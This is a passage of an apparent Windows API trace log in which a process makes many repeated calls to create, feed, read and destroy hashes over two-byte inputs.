	[0050.325] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.325] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.326] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.326] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.326] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.326] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.326] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.326] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.326] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.326] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.327] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.327] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.327] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.327] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.327] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.327] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.327] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.327] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.327] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.327] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.327] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.327] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.328] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.328] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.328] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.328] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.328] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.328] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.328] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.328] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.328] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.328] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.328] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.328] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.328] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.328] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.329] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.329] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.329] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.329] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.329] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.329] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.329] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.329] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.329] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.329] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.329] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.329] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.329] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.330] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.330] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.330] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.330] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.330] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.330] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.330] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.330] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.330] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.330] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.330] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.330] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.331] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.331] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.331] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.331] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.331] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.331] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.331] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.331] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.331] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.331] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.331] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.331] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.332] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.332] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.332] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.332] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.332] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.332] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.332] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.332] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.332] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.332] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.332] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.332] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.332] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.332] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.332] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.332] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.333] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.333] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.333] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.333] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.333] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.333] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.333] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.333] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.333] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.333] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.333] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.333] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.333] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.333] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.334] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.334] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.334] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.334] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.334] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.334] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.334] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.334] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.334] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.334] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.334] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.334] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.335] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.335] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.335] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.335] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.335] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.335] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.335] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.335] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.335] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.335] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.335] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.335] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.335] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.336] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.336] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.336] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.336] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.336] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.336] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.336] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.336] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.336] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.336] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.336] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.336] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.336] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.337] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.337] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.337] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.337] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.337] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.337] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.337] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.337] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.337] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.337] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.337] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.337] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.337] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.337] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.337] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.338] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.338] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.338] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.338] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.338] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.338] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.338] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.338] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.338] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.338] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.338] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.338] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.339] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.339] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.339] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.339] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.339] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.339] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.339] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.339] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.339] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.339] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.339] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.339] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.339] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.339] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.340] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.340] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.340] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.340] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.340] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.340] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.340] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.340] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.340] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.340] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.340] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.340] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.340] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.341] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.341] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.341] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.341] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.341] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.341] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.341] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.341] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.341] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.341] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.342] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
